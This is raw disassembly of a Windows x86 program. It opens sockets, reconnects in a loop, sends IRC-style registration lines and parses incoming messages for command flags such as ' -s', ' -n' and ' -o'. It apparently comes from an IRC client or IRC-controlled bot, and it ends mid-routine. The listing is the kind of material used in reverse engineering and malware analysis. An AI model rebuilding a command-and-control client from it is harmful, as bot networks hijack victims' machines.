push 0FFFFFFFFh push offset SEH_40FDA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E028 mov dword ptr [esi+11h], offset off_43E034 lea ecx, [esi+2DAh] mov [esp+14h+var_4], 10h call sub_401B54 sub_40FDA0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+2ACh] mov byte ptr [esp+10h], 0Fh call sub_401023 lea ecx, [esi+27Eh] mov byte ptr [esp+10h], 0Eh call sub_401023 lea ecx, [esi+250h] mov byte ptr [esp+10h], 0Dh call sub_401023 lea ecx, [esi+222h] mov byte ptr [esp+10h], 0Ch call sub_401023 lea ecx, [esi+1F4h] mov byte ptr [esp+10h], 0Bh call sub_401023 lea ecx, [esi+1C6h] mov byte ptr [esp+10h], 0Ah call sub_401023 lea ecx, [esi+198h] mov byte ptr [esp+10h], 9 call sub_401023 lea ecx, [esi+16Ah] mov byte ptr [esp+10h], 8 call sub_401023 lea ecx, [esi+13Ch] mov byte ptr [esp+10h], 7 call sub_401023 lea ecx, [esi+10Eh] mov byte ptr [esp+10h], 6 call sub_401023 lea ecx, [esi+0E0h] mov byte ptr [esp+10h], 5 call sub_401023 lea ecx, [esi+0B2h] mov byte ptr [esp+10h], 4 call sub_401023 lea ecx, [esi+84h] mov byte ptr [esp+10h], 3 call sub_401023 lea ecx, [esi+56h] mov byte ptr [esp+10h], 2 call sub_401023 lea ecx, [esi+3Dh] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+28h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_402031 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40FF60 proc near ; CODE XREF: sub_40212Bj var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_1C = byte ptr 20h arg_1E = word ptr 22h arg_20 = dword ptr 24h arg_24 = dword ptr 28h arg_28 = dword ptr 2Ch arg_2C = dword ptr 30h arg_34 = byte ptr 38h arg_4C = byte ptr 50h arg_64 = byte ptr 68h arg_7C = byte ptr 80h arg_94 = byte ptr 98h arg_AC = byte ptr 0B0h arg_C4 = byte ptr 0C8h arg_DC = byte ptr 0E0h arg_F4 = byte ptr 0F8h arg_10C = byte ptr 110h arg_124 = byte ptr 128h arg_13C = byte ptr 140h arg_154 = byte ptr 158h arg_16C = byte ptr 170h arg_184 = byte ptr 188h arg_19C = byte ptr 1A0h arg_1B4 = byte ptr 1B8h arg_1CC = byte ptr 1D0h arg_1E4 = byte ptr 1E8h arg_1FC = byte ptr 200h arg_214 = byte ptr 218h arg_22C = byte ptr 230h arg_244 = byte ptr 248h arg_25C = byte ptr 260h arg_274 = byte ptr 278h arg_28C = byte ptr 290h arg_2A4 = byte ptr 2A8h arg_2BC = byte ptr 2C0h arg_2D4 = byte ptr 2D8h arg_2EC = byte ptr 2F0h arg_304 = byte ptr 308h arg_31C = byte ptr 320h arg_334 = byte ptr 338h arg_34C = byte ptr 350h arg_364 = byte ptr 368h arg_37C = byte ptr 380h arg_394 = byte ptr 398h arg_3AC = byte ptr 3B0h arg_3C4 = byte ptr 3C8h arg_3DC = byte ptr 3E0h arg_3F4 = byte ptr 3F8h arg_408 = byte ptr 40Ch arg_40C = byte ptr 410h arg_464 = byte ptr 468h arg_2464 = dword ptr 2468h arg_246C = dword ptr 2470h arg_2470 = dword ptr 2474h push 0FFFFFFFFh mov eax, large fs:0 push offset loc_4395D3 push eax mov eax, 2478h mov large fs:0, esp call sub_436840 push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+1Ch+var_4] call sub_401424 mov al, [ebp+17h] xor ebx, ebx cmp al, bl mov [esp+1Ch+arg_2470], ebx jz loc_411330 loc_40FFA2: ; CODE XREF: sub_40FF60+13CAj mov al, byte_4E6E84 mov edi, dword_50F8A4 cmp al, bl jz loc_411330 mov eax, [ebp+20h] cmp eax, ebx jnz short loc_40FFCA cmp dword ptr [ebp+1Ch], 5 jg short loc_40FFD4 cmp eax, ebx jz loc_41010E loc_40FFCA: ; CODE XREF: sub_40FF60+5Aj cmp dword ptr [ebp+1Ch], 2 jle loc_41010E loc_40FFD4: ; CODE XREF: sub_40FF60+60j mov eax, [ebp+18h] mov [ebp+16h], bl cmp eax, 0FFFFFFFFh mov [ebp+15h], bl jz short loc_40FFE9 push eax call near ptr 71AB9639h nop loc_40FFE9: ; CODE XREF: sub_40FF60+80j mov ecx, offset word_448C9E mov dword ptr [ebp+18h], 0FFFFFFFFh call sub_401537 mov esi, [ebp+20h] inc esi mov [ebp+20h], esi lea esi, [ebp+2DAh] mov ecx, esi call sub_401974 mov ecx, [ebp+20h] dec eax cmp ecx, eax jbe short loc_410019 mov [ebp+20h], ebx loc_410019: ; CODE XREF: sub_40FF60+B4j mov eax, [ebp+20h] mov ecx, esi push eax mov [ebp+1Ch], ebx call sub_40146A mov ecx, [eax] add ecx, 16Dh push ecx push offset byte_44742D mov ecx, offset word_448D16 call sub_401F32 mov edx, [ebp+20h] mov ecx, esi push edx call sub_40146A mov eax, [eax] mov ecx, offset word_448D16 add eax, 1B6h push eax push offset dword_4473E4 call sub_401F32 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_40146A mov edx, [eax] mov ecx, offset word_448D16 push edx push offset dword_4472C0 call sub_401F32 mov eax, [ebp+20h] mov ecx, esi push eax call sub_40146A mov ecx, [eax] add ecx, 124h push ecx push offset word_447352 mov ecx, offset word_448D16 call sub_401F32 mov edx, [ebp+20h] mov ecx, esi push edx call sub_40146A mov eax, [eax] mov ecx, offset word_448D16 add eax, 0DBh push eax push offset byte_447309 call sub_401F32 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_40146A mov edx, [eax] mov ecx, offset word_448D16 add edx, 92h push edx push offset byte_44739B call sub_401F32 mov eax, [ebp+20h] mov ecx, esi push eax call sub_40146A mov ecx, [eax] add ecx, 1FFh push ecx push offset byte_4474BF mov ecx, offset word_448D16 call sub_401F32 call edi mov [ebp+24h], eax loc_41010E: ; CODE XREF: sub_40FF60+64j ; sub_40FF60+6Ej mov edx, [ebp+18h] cmp edx, 0FFFFFFFFh jnz short loc_410138 push 6 push 1 push 2 nop call near ptr 71AB3B91h push 7D0h mov [ebp+18h], eax mov [ebp+15h], bl nop call near ptr 2811D0Bh jmp loc_411327 ; --------------------------------------------------------------------------- loc_410138: ; CODE XREF: sub_40FF60+1B4j cmp [ebp+15h], bl jnz loc_4102C8 mov ax, word_44736C xor edx, edx mov [esp+20h+arg_20], edx push eax mov [esp+24h+arg_24], edx mov word ptr [esp+24h+arg_20], 2 mov [esp+24h+arg_28], edx mov [esp+24h+arg_2C], edx call near ptr 71AB2B66h nop mov ecx, offset byte_447309 mov [esp+24h+arg_1E], ax call sub_4017E4 push eax call sub_40187F add esp, 4 mov [esp+24h+arg_20], eax call edi mov edx, [ebp+18h] lea ecx, [esp+24h+arg_1C] push 10h push ecx push edx mov [ebp+24h], eax nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_4101B8 push 2710h nop call near ptr 2811D0Bh mov eax, [ebp+1Ch] mov [ebp+15h], bl inc eax mov [ebp+1Ch], eax jmp loc_411327 ; --------------------------------------------------------------------------- loc_4101B8: ; CODE XREF: sub_40FF60+23Cj mov byte ptr [ebp+15h], 1 mov [ebp+16h], bl call edi mov [ebp+24h], eax xor eax, eax mov [esp+30h+arg_0], eax lea ecx, [esp+30h+arg_20] mov [esp+30h+arg_4], eax lea edx, [esp+30h+arg_0] mov [esp+30h+arg_8], eax push ecx mov [esp+34h+arg_C], eax mov eax, [ebp+18h] push edx push eax mov [esp+3Ch+arg_20], 10h call near ptr 71AB951Eh nop mov ecx, [esp+3Ch+var_4+3] mov edx, [esp+3Ch+var_4+2] mov eax, [esp+3Ch+var_4+1] and ecx, 0FFh push ecx mov ecx, [esp+40h+var_4] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+4Ch+arg_408] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call sub_5EDAB2 add esp, 18h lea eax, [esp+3Ch+arg_408] lea ecx, [ebp+3Dh] push eax call sub_4015D7 lea ecx, [esp+3Ch+arg_408] push ecx nop call near ptr 71AB2BF4h push offset byte_446F70 mov ecx, offset byte_44739B mov [ebp+52h], eax call sub_4012EE test eax, eax jz short loc_410287 mov ecx, offset byte_44739B call sub_4017E4 mov edx, dword_44711C push eax push edx push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h loc_410287: ; CODE XREF: sub_40FF60+305j mov ecx, offset byte_4E6E85 call sub_4017E4 push eax mov ecx, offset byte_4E6E85 call sub_4017E4 push eax mov eax, dword_447124 push eax mov ecx, offset byte_4E6E85 call sub_4017E4 mov ecx, dword_447120 push eax push ecx push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n" push ebp call sub_401E0B add esp, 1Ch jmp loc_411327 ; --------------------------------------------------------------------------- loc_4102C8: ; CODE XREF: sub_40FF60+1DBj mov ecx, 800h xor eax, eax lea edi, [esp+20h+arg_464] push ebx rep stosd lea eax, [esp+24h+arg_464] push 2000h push eax push edx call sub_401280 add esp, 10h cmp al, bl jz loc_411320 nop call near ptr 27D07CDh lea ecx, [esp+20h+var_8] mov [ebp+24h], eax call sub_401CBC lea ecx, [esp+20h+arg_464] push ecx lea ecx, [esp+24h+var_8] call sub_401A87 push offset asc_443600 ; " " lea edx, [esp+24h+arg_364] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447128 mov byte ptr [esp+20h+arg_246C], 1 push ecx mov ecx, eax call sub_4012EE test eax, eax jnz short loc_4103A0 push offset asc_443600 ; " " lea edx, [esp+24h+arg_3F4] push 4 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset dword_4473E4 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 2 call sub_401B72 test eax, eax lea ecx, [esp+20h+arg_3F4] mov byte ptr [esp+20h+arg_246C], 1 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_4103A4 loc_4103A0: ; CODE XREF: sub_40FF60+3EAj mov [esp+20h+var_D], bl loc_4103A4: ; CODE XREF: sub_40FF60+43Ej lea ecx, [esp+20h+arg_364] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_4103C6 mov byte ptr [ebp+16h], 1 jmp loc_411327 ; --------------------------------------------------------------------------- loc_4103C6: ; CODE XREF: sub_40FF60+45Bj push offset asc_443600 ; " " lea eax, [esp+24h+arg_F4] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_4470FC mov byte ptr [esp+20h+arg_246C], 3 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_F4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_443600 ; " " cmp al, bl push 1 jz short loc_410464 lea edx, [esp+28h+arg_2A4] lea ecx, [esp+28h+var_8] push edx call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 4 call sub_4017E4 push eax mov eax, dword_447118 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2A4] jmp loc_410592 ; --------------------------------------------------------------------------- loc_410464: ; CODE XREF: sub_40FF60+4BAj lea edx, [esp+28h+arg_124] lea ecx, [esp+28h+var_8] push edx call sub_4016AE mov ecx, dword_447100 mov byte ptr [esp+20h+arg_246C], 5 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_124] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_443600 ; " " cmp al, bl jz loc_4105D0 lea edx, [esp+24h+arg_40C] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 6 call sub_4012EE lea ecx, [esp+20h+arg_40C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_411327 push offset asc_443600 ; " " lea eax, [esp+24h+arg_154] push 11h push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447118 mov byte ptr [esp+20h+arg_246C], 7 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_154] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410597 push offset asc_443600 ; " " lea edx, [esp+24h+arg_2D4] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 8 call sub_4017E4 push eax mov eax, dword_447118 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2D4] loc_410592: ; CODE XREF: sub_40FF60+4FFj call sub_401226 loc_410597: ; CODE XREF: sub_40FF60+5E6j cmp [ebp+16h], bl jnz loc_411327 mov ecx, offset byte_44742D call sub_4017E4 push eax mov ecx, offset dword_4473E4 call sub_4017E4 mov ecx, dword_447104 push eax push ecx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E0B add esp, 14h jmp loc_411327 ; --------------------------------------------------------------------------- loc_4105D0: ; CODE XREF: sub_40FF60+550j lea edx, [esp+24h+arg_394] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447138 mov byte ptr [esp+20h+arg_246C], 9 push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_410652 push offset asc_443600 ; " " lea edx, [esp+24h+arg_184] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_44713C mov byte ptr [esp+20h+arg_246C], 0Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_184] mov byte ptr [esp+20h+arg_246C], 9 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_410657 loc_410652: ; CODE XREF: sub_40FF60+69Bj mov [esp+20h+var_D], 1 loc_410657: ; CODE XREF: sub_40FF60+6F0j lea ecx, [esp+20h+arg_394] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_4106C4 cmp [ebp+16h], bl jnz short loc_4106A0 mov ecx, offset byte_44742D call sub_4017E4 push eax mov ecx, offset dword_4473E4 call sub_4017E4 mov edx, dword_447104 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E0B add esp, 14h loc_4106A0: ; CODE XREF: sub_40FF60+713j mov ecx, offset byte_4E6E85 call sub_4017E4 push eax mov eax, dword_44710C push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h jmp loc_411327 ; --------------------------------------------------------------------------- loc_4106C4: ; CODE XREF: sub_40FF60+70Ej push offset asc_443600 ; " " lea ecx, [esp+24h+arg_1B4] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov edx, dword_447114 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_1B4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_443600 ; " " cmp al, bl jz short loc_410775 lea eax, [esp+24h+arg_94] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+24h+arg_94] mov byte ptr [esp+24h+arg_246C], 0Ch call sub_4014D3 push eax nop call near ptr 77C47C60h add esp, 8 cmp eax, ebx jz short loc_41075D inc eax lea ecx, [ebp+28h] push eax call sub_4015D7 loc_41075D: ; CODE XREF: sub_40FF60+7F1j lea ecx, [esp+20h+arg_94] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410775: ; CODE XREF: sub_40FF60+7B7j lea ecx, [esp+24h+arg_304] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov edx, dword_447110 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Dh call sub_4012EE test eax, eax jnz short loc_4107B0 mov al, byte_447844 mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_4107B4 loc_4107B0: ; CODE XREF: sub_40FF60+840j mov [esp+20h+var_D], bl loc_4107B4: ; CODE XREF: sub_40FF60+84Ej lea ecx, [esp+20h+arg_304] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_410AC1 push offset asc_443C94 ; ":" lea eax, [esp+24h+arg_4C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push 96h mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 0Fh jz short loc_410812 mov ecx, eax call sub_402054 loc_410812: ; CODE XREF: sub_40FF60+8A9j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 10h jz short loc_41083E mov ecx, eax call sub_4010BE loc_41083E: ; CODE XREF: sub_40FF60+8D5j push offset asc_4435EC ; "|" lea ecx, [esp+24h+arg_4C] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_401A9B push offset asc_4435EC ; "|" lea ecx, [esp+24h+arg_7C] push ebx push ecx lea ecx, [esp+2Ch+arg_4C] xor edi, edi call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jz loc_410AAC loc_41089F: ; CODE XREF: sub_40FF60+B46j push 96h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 12h jz short loc_4108C7 mov ecx, eax call sub_402054 mov esi, eax jmp short loc_4108C9 ; --------------------------------------------------------------------------- loc_4108C7: ; CODE XREF: sub_40FF60+95Aj xor esi, esi loc_4108C9: ; CODE XREF: sub_40FF60+965j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 13h jz short loc_4108FB mov ecx, eax call sub_4010BE mov [esp+20h+var_C], eax jmp short loc_4108FF ; --------------------------------------------------------------------------- loc_4108FB: ; CODE XREF: sub_40FF60+98Cj mov [esp+20h+var_C], ebx loc_4108FF: ; CODE XREF: sub_40FF60+999j push offset aS_3 ; " -s" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4013E3 test eax, eax jz short loc_410922 mov byte ptr [esi+93h], 1 jmp short loc_410928 ; --------------------------------------------------------------------------- loc_410922: ; CODE XREF: sub_40FF60+9B7j mov [esi+93h], bl loc_410928: ; CODE XREF: sub_40FF60+9C0j push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410943 mov byte ptr [esi+94h], 1 jmp short loc_410949 ; --------------------------------------------------------------------------- loc_410943: ; CODE XREF: sub_40FF60+9D8j mov [esi+94h], bl loc_410949: ; CODE XREF: sub_40FF60+9E1j push offset aO ; " -o" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410964 mov byte ptr [esi+95h], 1 jmp short loc_41096A ; --------------------------------------------------------------------------- loc_410964: ; CODE XREF: sub_40FF60+9F9j mov [esi+95h], bl loc_41096A: ; CODE XREF: sub_40FF60+A02j push offset asc_443600 ; " " lea edx, [esp+24h+arg_1E4] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 14h call sub_401FBE lea ecx, [esp+20h+arg_1E4] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset byte_446F70 lea ecx, [esi+54h] call sub_4015D7 push offset byte_446F70 lea ecx, [esi+3Fh] call sub_4015D7 push offset asc_443600 ; " " lea eax, [esp+24h+arg_AC] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 15h call sub_401FBE lea ecx, [esp+20h+arg_AC] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset asc_4435EC ; "|" lea ecx, [esp+24h+arg_214] push edi push ecx lea ecx, [esp+2Ch+arg_4C] call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 16h call sub_4017E4 push eax mov ecx, esi call sub_4015D7 lea ecx, [esp+20h+arg_214] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 mov ecx, [esp+20h+var_C] push 1 push esi call sub_401DE3 cmp esi, ebx jz short loc_410A59 push 1 mov ecx, esi call sub_4019D3 loc_410A59: ; CODE XREF: sub_40FF60+AEEj mov ecx, [esp+20h+var_C] call sub_4013D4 inc edi push offset asc_4435EC ; "|" lea edx, [esp+24h+arg_7C] push edi push edx lea ecx, [esp+2Ch+arg_4C] call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jnz loc_41089F loc_410AAC: ; CODE XREF: sub_40FF60+939j lea ecx, [esp+20h+arg_4C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410AC1: ; CODE XREF: sub_40FF60+86Bj push offset asc_443600 ; " " lea eax, [esp+24h+arg_334] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447108 mov byte ptr [esp+20h+arg_246C], 17h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_334] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_410DDB push 96h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 18h jz short loc_410B3B mov ecx, eax call sub_402054 mov esi, eax jmp short loc_410B3D ; --------------------------------------------------------------------------- loc_410B3B: ; CODE XREF: sub_40FF60+BCEj xor esi, esi loc_410B3D: ; CODE XREF: sub_40FF60+BD9j push 0ADh mov byte ptr [esp+24h+arg_246C], bl call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 19h jz short loc_410B6C mov ecx, eax call sub_4010BE mov edi, eax jmp short loc_410B6E ; --------------------------------------------------------------------------- loc_410B6C: ; CODE XREF: sub_40FF60+BFFj xor edi, edi loc_410B6E: ; CODE XREF: sub_40FF60+C0Aj push offset aO ; " -o" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], bl call sub_4013E3 test eax, eax jz short loc_410B90 mov byte ptr [esi+95h], 1 jmp short loc_410B96 ; --------------------------------------------------------------------------- loc_410B90: ; CODE XREF: sub_40FF60+C25j mov [esi+95h], bl loc_410B96: ; CODE XREF: sub_40FF60+C2Ej push offset aS_3 ; " -s" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410BB1 mov byte ptr [esi+93h], 1 jmp short loc_410BB7 ; --------------------------------------------------------------------------- loc_410BB1: ; CODE XREF: sub_40FF60+C46j mov [esi+93h], bl loc_410BB7: ; CODE XREF: sub_40FF60+C4Fj push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410BD2 mov byte ptr [esi+94h], 1 jmp short loc_410BD8 ; --------------------------------------------------------------------------- loc_410BD2: ; CODE XREF: sub_40FF60+C67j mov [esi+94h], bl loc_410BD8: ; CODE XREF: sub_40FF60+C70j push offset asc_443C94 ; ":" lea edx, [esp+24h+arg_274] push ebx push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443600 ; " " lea ecx, [esp+24h+arg_3C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Ah call sub_4016AE push offset asc_443C88 ; "!" lea edx, [esp+24h+arg_244] push ebx push edx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Bh call sub_4016AE push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 1Ch call sub_401FBE lea ecx, [esp+20h+arg_244] mov byte ptr [esp+20h+arg_246C], 1Bh call sub_401226 lea ecx, [esp+20h+arg_3C4] mov byte ptr [esp+20h+arg_246C], 1Ah call sub_401226 lea ecx, [esp+20h+arg_274] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_443C88 ; "!" lea eax, [esp+24h+arg_DC] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+24h+arg_C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Dh call sub_4016AE push eax lea ecx, [esi+54h] mov byte ptr [esp+24h+arg_246C], 1Eh call sub_401FBE lea ecx, [esp+20h+arg_C4] mov byte ptr [esp+20h+arg_246C], 1Dh call sub_401226 lea ecx, [esp+20h+arg_DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset dword_4437F8 lea edx, [esp+24h+arg_13C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443600 ; " " lea ecx, [esp+24h+arg_10C] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Fh call sub_4016AE push eax lea ecx, [esi+3Fh] mov byte ptr [esp+24h+arg_246C], 20h call sub_401FBE mov byte ptr [esp+20h+arg_246C], 1Fh lea ecx, [esp+20h+arg_10C] call sub_401226 lea ecx, [esp+20h+arg_13C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_443600 ; " " lea edx, [esp+24h+arg_16C] push 2 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 21h call sub_401FBE lea ecx, [esp+20h+arg_16C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_443C84 ; " :" lea ecx, [esp+24h+var_8] call sub_4014D3 push eax nop call near ptr 77C47C60h add esp, 8 cmp eax, ebx jz short loc_410DAD add eax, 2 push eax jmp short loc_410DB2 ; --------------------------------------------------------------------------- loc_410DAD: ; CODE XREF: sub_40FF60+E45j push offset byte_446F70 loc_410DB2: ; CODE XREF: sub_40FF60+E4Bj mov ecx, esi call sub_4015D7 push ebx push esi mov ecx, edi call sub_401DE3 cmp esi, ebx jz short loc_410DCF push 1 mov ecx, esi call sub_4019D3 loc_410DCF: ; CODE XREF: sub_40FF60+E64j mov ecx, edi call sub_4013D4 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410DDB: ; CODE XREF: sub_40FF60+BADj push offset asc_443600 ; " " lea eax, [esp+24h+arg_19C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_44712C mov byte ptr [esp+20h+arg_246C], 22h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_19C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_410FB0 sub esp, 18h lea ecx, [esp+38h+var_8] mov edx, esp mov [esp+38h+var_C], esp push offset asc_443600 ; " " push 3 push edx call sub_4016AE mov ecx, offset word_448C9E call sub_401CD0 cmp eax, ebx jz short loc_410EA2 sub esp, 18h lea ecx, [esp+38h+var_8] mov eax, esp mov [esp+38h+var_C], esp push offset asc_443600 ; " " push 3 push eax call sub_4016AE sub esp, 18h mov byte ptr [esp+50h+arg_246C], 23h mov ecx, esp mov [esp+50h+arg_C], esp push offset asc_443600 ; " " push 3 push ecx lea ecx, [esp+5Ch+var_8] call sub_4016AE mov ecx, offset word_448C9E mov byte ptr [esp+50h+arg_246C], bl call sub_40210D loc_410EA2: ; CODE XREF: sub_40FF60+EF3j push offset asc_443600 ; " " lea edx, [esp+24h+arg_1CC] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset byte_4E6E85 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 24h call sub_401B72 test eax, eax lea ecx, [esp+20h+arg_1CC] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411327 push offset asc_443C94 ; ":" lea eax, [esp+24h+arg_22C] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443C88 ; "!" 